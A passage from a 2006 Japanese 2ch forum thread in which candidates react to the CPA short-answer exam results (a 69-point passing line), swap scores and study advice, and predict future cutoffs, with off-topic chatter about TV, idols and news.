542 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:02:07 ID:???
>>535 な、なんだt(ry

543 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:02:36 ID:???
通信なんだけど管理会計の関口先生より近藤希望先生に変換してほしい

544 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:02:40 ID:???
簿財免除者の合格率も出して欲しいな。

545 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:02:52 ID:???
なあ、69点5000人合格。。。
簡単すぎてむかつくよな?
でもな、実はそれでも1万人落ちてるんだぜw
信じられるか?w

546 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:03:42 ID:???
4歩はそれなりの肩書きがあるし
同じ扱いはないだろうな

547 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:04:14 ID:???
簿財はガチで大事

548 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:05:00 ID:???
TAC全答練がもうすぐそこまで来ている件について

549 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:05:00 ID:???
>>544
そうそう
俺が受けてる机の左列がごそっといなくなったときはびびったぜ

550 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:05:36 ID:???
うん、信じれる

551 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:05:52 ID:???
しかし、志保を理論的に会計学・企業法・選択科目の免除者と
考えてる可能性は高いと思うぞ。(つまり監査、租税はガチンコ)

552 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:05:53 ID:???
>>543
俺も関口さんは入門一回目で激しく「何か違う」と思って以来近藤さん。
あの人いかにもプロっぽくてちょっと憧れる。

553 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:05:54 ID:???
70割れとは言っても69だけどな

554 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:06:08 ID:???
簿財申し込んでないんだけど!!!!

555 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:06:11 ID:???
会計士講座の1年目は税理士簿財カリキュラムにした方が予備校の合格率高まるんじゃね?

556 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:06:35 ID:pM6DPDjN
怖くて、まだ、見れないよ、、、
どうしたらいいのかわかんない、、、、

557 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:07:05 ID:3Qb+FZjP
やっぱ朝はマツケン見ないと一日がはじまらねー。


558 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:07:40 ID:???
>>556
それは 小心者すぎるぞ!頑張れ

559 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:07:47 ID:???
>>556
番号教えろ。確かめてやるから。

560 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:08:34 ID:???
69で受かるなら簿財免除なんていらねーだろw

561 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:08:37 ID:???
なんか今年一つも科目合格取れなかったらヤヴァそう・・

562 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:08:44 ID:???
企業16
監査12
管理14

財会免除者はこれで合格wチョベリ簡単!!!

563 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:08:58 ID:???
>>556
多分受かってるよ。恐怖の大きさはそれだけ頑張った証。

564 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:09:10 ID:3Qb+FZjP
>>556 心配ない。北の将軍様も祝福してくれたよ。

565 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:09:29 ID:???
まあ、なんにせよ今年の短答合格はでかいわな
それだけは喜ぼうや


566 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:09:44 ID:pM6DPDjN
落ちてたら、親にどういっていいのか、、
せっかく続けてきた勉強も途切れそうだし、、、
どうしよう、、、

567 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:09:45 ID:???
>>556
いまジラルディーノがおまいにパスをだした

568 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:10:06 ID:???
論文って2000人くらい受かるん?

569 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:10:34 ID:???
00001番から10番までって意外と受かってないな
合格率60パーくらいだと思ってた

570 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:10:34 ID:???
>>566
勇気を出せ!俺たちがついてる

571 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:11:12 ID:???
>>566 わからん奴だな、お前みたいな奴が典型的なタイプなんだよ。




合格者のな。

572 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:11:36 ID:???
科目合格メインだったら法人もどういう採用のしかたすんだろな

573 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:11:41 ID:???
>>560
来年の短答はやばいから簿財必要なんだよ
さすがに今年並みに合格出せないだろ

574 :短答合格したけど。:2006/07/05(水) 11:11:42 ID:???
なんか5000人て税理士の簿財より受かりやすいね(笑)
感覚的には日商2級だわ。

575 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:11:44 ID:3Qb+FZjP
>>556 大丈夫。お前は柳沢だ。もとい玉田。

576 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 11:11:53 ID:???
今年ひとつも科目合格できなかったら来年の短答から受けなおした方がいいかね

577 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:12:05 ID:???
今日はみんな優しいなw

578 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:13:00 ID:???
短答来年は絶対絞られるの目に見えてるな

579 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:13:00 ID:???
>>576
それはない

580 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:13:18 ID:???
>>569
今年から郵送になったから初日の9時に埼玉で出した俺でも200番台だった

581 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 11:13:21 ID:???
>>572
科目合格者って一歩間違えたら短答受験生だから
正社員はないようなキガス

582 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:14:04 ID:???
なあ、期限付の短答免除を維持しつつ、来年も短答を受けることって
できるのかな? つまり、短答免除期限の更新。
この程度の難易度なら対策しなくても短答はそこそこ受かりそうだから
期限の更新をできるならしたいな、と。

583 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:14:04 ID:???
繁忙期のみのバイトくん扱いとかかね

584 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:14:06 ID:???
しかし69で翌2年免除か。
今年はおいしいな。

585 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:14:08 ID:???
監査はLECの一人勝ちって言ってた、びち太郎?糞太郎?
こんな名前のコテハンの奴、すげー喜んでそう

586 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:14:39 ID:???
>>582
簿財とったほうがいいんじゃ

587 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:14:41 ID:3Qb+FZjP
>>577 そりゃやっぱ自分の幸せを分けてあげたいじゃん?
さすがに68以下の人は手の施しようがありませんが・・・。

588 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:14:42 ID:???
来年4500人→再来年以降4000人だな

589 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:15:14 ID:pr4wGlfG
やヴぁい
絶対ダメだったと思って自己採点もせずにここ1ヶ月全く勉強してなかった
どうしよう・・・・・

590 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:15:15 ID:???
>>505
それなら志保がほとんどぬける3年後以降のほうが
簡単てこと?

591 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:15:19 ID:???
69で合格って、
ぶっちゃけ日商1級のがムズいわなw

まあ俺らはいいけど、
旧制度の合格者はやってらんねーだろうなw

592 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:15:34 ID:pM6DPDjN
答えてくれるだけで、ほんと少しずつ、気持ちが楽になってきた、、
落ちていた時には、どういう風にすればいいの?、、、気持ちの持ち方とか、、

593 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:15:37 ID:???
>>582
お前あと何年プータローやる気だよ

594 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:15:47 ID:???
トーマツとかは科目合格でも採用してくれるみたいだけど、どの科目合格すればいいのかな?

595 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:16:19 ID:???
去年34だし

つかこの形式 体力ない漏れにはきつかった
会計学までにはウナギでもくいまくるか

596 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:16:32 ID:???
なんで来年の短答は怖いの?

597 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:16:40 ID:???
経理部長の親父に財会の正誤問題やらしたら問1は合ってたが問3
と問18間違えたwww

598 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:16:42 ID:???
今年69ってことは、来年の高得点予備生まで受かってるってことだから、
来年のボーダーは相当低いんじゃねえか?

599 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:16:52 ID:???
>>592
小僧 ソープへ行け

600 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:17:27 ID:3Qb+FZjP
>>595にんにく卵黄効くよ。

601 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:17:39 ID:???
でもさ企業法が今後難しくなることを考慮ににいれないと

602 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:17:44 ID:1+tceSjO
1年勉強して65ってどうなの?
ベテでも短答落ちたりしてるから、すげー不安なんだが

603 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:18:19 ID:???
>>593
今年一括できなければ、働きながらを想定してるよ。
さすがに論文落ちの監査法人への就職は競争が厳しそうだから
どこかの税理士事務所か経理の派遣に勤める。
で、短答免除の更新はあると便利かな。


604 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:18:23 ID:???
お前らの予想は当てにならん

ここで来年の予想をしてなんになるのか
早く勉強に戻れ

605 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:18:30 ID:???
まあ一ついえることは
会計士試験が無職で何年もかけてうかるような試験じゃなくなったということだろ
在学中合格や社会人の合格がスタンダードになっていくんだろう

606 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:18:36 ID:???
でも短答で7割がだめって結構えげつないよな

607 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:19:06 ID:pr4wGlfG
財務会計、途中パニクッて6問くらい時間足りずに解けなかったから絶対落ちたと思ってた・・・
90%くらいの確率でおちたなぁなんて思って見てみたら番号があった
でも自分の番号とは信じられずに5ふんくらいずっと確認してた

608 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:20:02 ID:???
はあはあ。いよいよ

609 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:20:23 ID:???
>>606
うん、ベテの68以下って実はかなりいるんだろうな

610 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:20:28 ID:???
三割も受かるってかなり楽勝な試験になったな

611 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:20:30 ID:???
>>602
俺去年初で一年で26点と惨敗だったが
今年は83だった がんばりゃいけるよ

612 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:21:02 ID:???
冷静に考えると、短答が簡単になっただけなんだよな

613 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:21:13 ID:3Qb+FZjP
>>592 すぐに何かを始めることだ。
来年も続けるならすぐ勉強はじめるのがいい。
少し休んでとか考えるとそれが1週間1ヶ月上級講義開始までとか
ずるずるになる。

614 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:21:13 ID:???
>>611
どういう勉強したか教えてください

615 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:21:31 ID:???
論文が地獄になるな。
今年落ちたら、来年以降の租税とかこわくて想像できない。

616 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:21:49 ID:???
>>580
朝6時にさいたま中央郵便局から速達で出したけど500番台だったよ。

617 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:21:53 ID:r0QDQpey
俺81点で今日はTACにも行かずどきどきしてたけどw


69ってw

618 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:22:29 ID:???
レックのサプライズで70だがこれが3500人合格だったとすると72はないとだめだから力不足を感じる
論文はひきしめていかないと

619 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:22:43 ID:9LKJIHO3
短答に受かるひとはW杯1次リーグを突破するくらいすごいと思う。

620 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:23:51 ID:???
来年以降の租税は皆すごい仕上がりになりそうだね

621 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:23:58 ID:???
>>619入門生だろ
べテはすごくはない

622 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:24:39 ID:3Qb+FZjP
今、夏クールのドラマ始まってるけど面白くてみてしまう。
加藤ローサのチアのドラマ早く見たい。

623 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:25:00 ID:???
簡単というか瞬発力ベースから耐久力ベースになった感じだ

簿記27問は泣きそうになったお

624 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:25:14 ID:???
>>622
結婚できない男おもろかったな。国仲涼子カワイス

625 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:25:24 ID:???
>>620
今年も俺は法人はすでにしあがってる
暗記得意の俺にはやさしい
簿記管理みたいにたいしたひねりないしな

626 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:25:42 ID:???
あーあ、終わった・・

627 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:26:07 ID:???
国仲涼子はかなり理想的だ
かわいいし、性格も良さそうだし、おっぱいもでかい

628 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:27:35 ID:???
>>626
タックベースでか?
合掌

629 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:27:37 ID:???
ふー、2003年ぶりに短答受かったぜ!

630 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:28:05 ID:???
>>629
よく精神力もったな!

631 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:28:42 ID:???
>>614
去年はチャレンジ本科生て結構無茶なカリキュラムだったから
今年はかなり余裕を感じたのもある
短答トウレンやり直してテキストとレジュメじっくり読むだけでいけるよ
ただ計算苦手ならそこはテコ入れしなきゃいけないあろうけど
アクセスばっかやり直す勉強を辞めてよかったのかもしれない


632 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:29:38 ID:???
>>629
それを言うなら「3年ぶりに」だろwwwwww

633 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:30:18 ID:???
>>630
去年までは総計レベルじゃ3連ちゃん短答落ちも珍しくなかったぞ

634 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:30:35 ID:???
>>630
ありがとう!

635 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:31:11 ID:???
TACリサーチだと3点上下する可能性があるのか

636 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:31:22 ID:???
2003年ぶりってことはキリストの親父世代か

637 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:33:14 ID:???
>>631
おぉ、俺も06チャレンジです。
ありがとう。頑張る。

638 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:33:20 ID:pr4wGlfG
ちょっと俺にマジレス頼むわ
確実に落ちたと思ってここ1ヶ月全く勉強してなかったんだが、受かってた
論文合格は無理だと思うから科目を3つくらいだけやりこもうと思うんだが何がいい?

639 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:34:12 ID:lLo72ONR
くそー、短答前スレ355でわざわざIDさらしてリークしたのに無視かよ
当たったら誉めてくれるって逝ってたのにorz


640 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:34:47 ID:???
>>638
全部死ぬ気でやれ
試験まで1000時間以上もあるぞ

641 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:35:25 ID:???
>>638
俺も去年そんな感じで論文B落ちまでは行けたから
一応全部やっとけば?

642 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:35:39 ID:jnb7mHH3
>>638
自分が得意なやつ3つ。

643 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:35:51 ID:???

    ∧  ∧
   / ヽ‐‐ ヽ
  彡      ヽ
  彡   ●  ●
  彡  (      l
 彡   ヽ     |   >>629卒業おめ
 彡    ヽ    l   
/ `     ( o o)\  
/ __    /´>  )  
(___|_(   /<ヽ/
 |       / 
 |  /\ \
 | /    )  )
  ヒl    ( \
       \二)
ウインガー(○●●●○○●○●●●●●●●●●●●●●●●●●●●●●)



644 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:36:42 ID:???
今年だめだったベテはここにはこれないな
来年も短答からじゃとても立ち上がれなそう

645 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:37:37 ID:pr4wGlfG
ってか最近ずっと気の抜けた生活してた
バッティングセンター行ったり、ダヴィンチコードとかデスノ見たり、何年も前のゲームやったりエロサイト巡回したり
今からエンジンかかるのだろうか?

646 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:38:11 ID:???
しぼるなら計算
計算とれば一括もあんじゃない
理論は差つかないよ


647 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:38:25 ID:jnb7mHH3
>>639
72点以上で煽っていた奴(結果論)らが君にレスできるわけないじゃん。
ボーダー議論に関して言えば、
君>>>>>>>>>煽っていた奴ら
なんだし。

648 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:38:27 ID:???
短答はもうこりごりだ

649 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:38:48 ID:???
お前らさ07発受験の俺を煽ってんだべ?そうだべ?
お前らのせいでチョーーー不安になっちまったよ??


650 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:39:31 ID:???
合格発表今日だったのか。完全に忘れてたw
学校に行ったら、掲示があってびっくり。なんか張り合いがない。
こないだの建設業経理事務士の一級合格の方がうれしかった。

651 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:39:35 ID:???
>>639
アカスクとかにはそうやって論文問題でまわるんだな。
独立性の欠けらもねえよ。
おぞましいぜ。

でもきみには感謝してるよ。

652 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:39:50 ID:???
>>643
ウインガーは03に論文(G1)受かっとるww

653 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:40:04 ID:???
今から寸時を惜しんで勉強すれば一括合格も可能だよ。
去年と違って、簿記、企業法は出るとこ絞れるし、租税法はほとんど横並びだし。

654 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:40:11 ID:???
>>649
だいじようぶ
たとえ4000人になっても受験生のレベルは知れてることがわかった

655 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:40:30 ID:???
>>649
来年も短答がんばれよ

656 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:41:15 ID:3Qb+FZjP
>>644 来年担当は通ったとしても論文は厳しいよね。
今年の合格者が4,5月論文の勉強中断しなくていいのはかなり強い。


657 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:41:24 ID:???
来年の短答は楽だよ。
ある程度の人数は必ず合格させるし、
旧試験からの猛者は今年受かっていないし。

とりあえず3000人程度の合格者は出るだろうから、
今年よりきつくなるという事はない。

658 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:42:22 ID:jnb7mHH3
>>649
毎年制度面に関しても色々な噂や煽りがあるけれど、
実際は例年通り。
今回だけ特別に短答増やしたって事は多分ないだろうし、
確かに免除者は有利だけど、
やるべきことをちゃんとこなしていけばきっと大丈夫。

もちろん俺の言っている事にも根拠はないけどさ。


659 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:42:23 ID:???
>>653
簿記は連結?企業法は?

660 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 11:43:33 ID:???
それに来年の短答の論文3回目(09年)はかなり楽だよ

661 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:43:46 ID:???
いやー、来年の短答はベテにはきついよ

662 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:44:19 ID:???
>>651
アカスク在学生の合格率の悲惨さを見れば
情報格差が本当だったとしても、個人の実力差からは
誤差の範囲w

663 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:44:22 ID:???
もう既に話題は来年の短答か

664 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:44:29 ID:???
来年はアカスク卒は何人くらいになるの?

665 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:44:33 ID:???
>>661
ベテにはってどういうこと?

666 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:45:29 ID:???
>>648
おれもこりごり
おれもこりごり

667 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:45:43 ID:???
来年が楽かはわからないけど

絶対今年取りすぎ

少なくとも今年よりはきついよ

668 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:46:44 ID:???
>>667
あふぉ

669 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:47:09 ID:lLo72ONR
>>651
最後のリーク

今大学1〜2年で会計士なりたい奴、AS逝っとけ
理由は絶対イエナイ
ま、今年中に判ると思うが。。。

670 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:47:45 ID:???
>>665
また短答から勉強するの精神的にきついよ

671 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:47:58 ID:???
論文で7割落ちるからなあ

論文で7割落ちるからなあ

論文で7割落ちるからなあ

論文で7割落ちるからなあ


>>669
免除が拡大されて論文にも及ぶのか?
短答は全部免除とかになって。

672 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:48:19 ID:???
>>669
どうせ旧司法試験みたいになるんだろ

673 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:48:33 ID:???
短答からって、短答向けに勉強したのなんて
条文の読み込みくらいだけどな

674 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:49:03 ID:???
今現在、全国にアカスク生って1学年何人くらいいるのかね?

675 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:50:01 ID:nJMJ+Hy5
名前いつ発表されるの?
友達の合否がきになるが、怖くて聞けない・・・

676 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:50:35 ID:???
>>675
俺なら楽勝で合格してるからさっさと聞きにこい

677 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:50:39 ID:???
明日の官報

678 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:50:53 ID:???
今年だめだったやつは簿財の勉強しろ
そうしないと来年はきついぞ
財務受けるようだと勉強量倍増するしな

679 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:51:34 ID:???
>>678
簿財申し込んでない

680 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:52:09 ID:???
さっきいた番号こわくてみれない人はどうなった

あと短答試験直後に足しびれて

足グニャってしちゃった人

681 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:52:16 ID:???
>>643
ウインガーまで祝福に現れたかwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

682 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:52:39 ID:???
今年1400人だとして3割にしぼられるのか2000人で4割
1400だとかなりきついな

683 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:52:44 ID:???
>>678
論文向けに勉強してたら必要ねえじゃん。
つうか税理士簿財って短答落ちた奴は殆ど落ちるぜ、多分

684 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:53:30 ID:???
今年5000人って見切り発車だろ
絶対多すぎ

685 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:53:35 ID:pr4wGlfG
今更自己採点してみたのだが、得意の監査で大コケしてた
TACでも毎回8割とってたし、委員会報告書も読み込んだのに10点ってなんだよ
こけたと思った財務会計は何故か28だったのに
企業法18の管理16だた
73だと落ちてたわ

686 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:53:38 ID:???
税理士簿財はあまくない
短答うかったから対策必要なくなった


687 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:53:57 ID:???
>>629だけど競馬興味ないからウインガーとかわからんわ…

688 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:55:12 ID:???
>>684
そうでもないだろ
来年は短答も論文も受験者へるだろ
論文は今年志甫うけるがほとんどうかるだろうし

689 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:55:35 ID:???
>>685
おめでとう

690 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:55:38 ID:???
>>687
残念。ウインガーは競馬板で最も愛されているといっても過言ではないネタ馬のことです。


691 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:56:15 ID:???
>>690
馬はウインガー、騎手は先生で決まりだな

692 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:56:33 ID:???
まじで来年の合否が来月決まっちゃうよまじでまじで

簿財受ける人は
×:短答を有利にするために
○:短答に受かるために
がんばってね

今の傾向が続くなら簿財さえあれば短答なんか絶ッ対に落ちない というか落ちれない簡単すぎて

693 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:57:27 ID:???
>>691
最高のコンビだな。仕上げに江田照にケツ蹴ってもらえば完成w

694 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:57:39 ID:???
>>692
来年財務が簡単になったらどうするんだよw

695 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:57:50 ID:???
今年論文一括は1500/5000だから3500人は累積。
今年が論文キャパMAXで10000人

志保は半数受かるから2200人ぐらい解消。
来年、アカスク1000人が固定合格。
財務免除200人固定合格。
10000-3500-2200-1000-200=3100人
これが来年以降の短答合格者。

696 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:57:51 ID:???
だけど今年の短答は安売りしたな
ホントにラッキーな年だ

697 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:57:58 ID:pr4wGlfG
なんか安心したらお腹が減ってきたよ

698 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:58:11 ID:???
>>685
おれも今更採点した。監査13あぶねーってw企業法19・管理15・財務24
しょっぺーw終わった感触だと監査17は行ってたのに

699 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 11:59:45 ID:???
>>697
おれもお腹減ってきた
おれもお腹減ってきた

700 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:00:08 ID:???
>>699
メシ食いに行こうぜ!!

701 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:00:52 ID:???
69は低すぎ。
短刀受かった俺も税理士本気(マジ)でいきます。てか短刀より簿財のが厳しいだろう。
絶対受かる。
ただいま短刀と簿記1級2連勝中の乗ってる俺。

702 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:02:00 ID:pr4wGlfG
>>698
監査の手ごたえは全然良くなかったわ俺は
でもありゃ悪問だよなぁ

703 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:02:10 ID:hrgz1yOf
今日はクーラーの聞いた部屋で寝ながらワーグナー聞いてウイスキー空けて充電しよう「

704 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:02:16 ID:???
>>698
おめでとう。ほんと良かったね。

705 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:02:19 ID:???
>>700
ケンタッキー食べに行こう

706 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:02:39 ID:???
そーいや今日、berryz工房からお知らせがあるんだった!

707 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:02:42 ID:???
69で翌2年免除はお得だな
来年急激に難しくなったら悲惨だなw

708 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:03:33 ID:???
>>706
舞波が戻ってくるよ

709 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:04:14 ID:???
桃子かわいいよ桃子

710 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:04:15 ID:???
>>705
俺もケンタッキー食いたかったとこww
でも、外は雨なのよね…orz

711 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:04:49 ID:???
俺も短答受かったけど簿財は受ける
一寸先は闇、なにがおこるかわからんし

712 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:04:49 ID:???
>>704
ありがとう。昨日から一睡も出来なかったから、今日はゆっくり寝て明日から
がんばるよ!

713 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:05:10 ID:???
会計士試験、ヤメタ後の就活スレ★part14★
http://money4.2ch.net/test/read.cgi/tax/1148694749/


714 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:05:12 ID:???
いつも74って煽ってた俺だけどみんなごめんな。
69とは。
俺は72位だとマジで思ってたよ。

715 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:05:54 ID:???
朝からやたらと突撃ラッパと君が代がうっせーなっ!
とか思ってたが、テポドンのせいなのね。
さっきニュースで納得。

716 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:06:16 ID:???
TACに行かなきゃならんのに、大雨だ・・。

717 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:06:27 ID:???
どうせ後2年あるんだからあわてなくても良いんじゃない?

718 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:06:29 ID:???
>>714
謝れるお前はえらい。

719 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:06:39 ID:???
>>714
おれ一昨日にTACのページで例年だと74って見たのよ。心臓止まるかと思った。

720 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:06:41 ID:???
ってか憲法の本買って読んでたし俺

721 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:07:24 ID:???
>>709
狼にスレ立てれば?
公認会計士短答式本試験合格発表スレ

722 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:07:37 ID:???
腹減ったからタコライス食ってる

723 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:08:05 ID:???
舞ちゃんも受かってるといいな。

724 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:08:11 ID:???
あ、俺もごめんな。
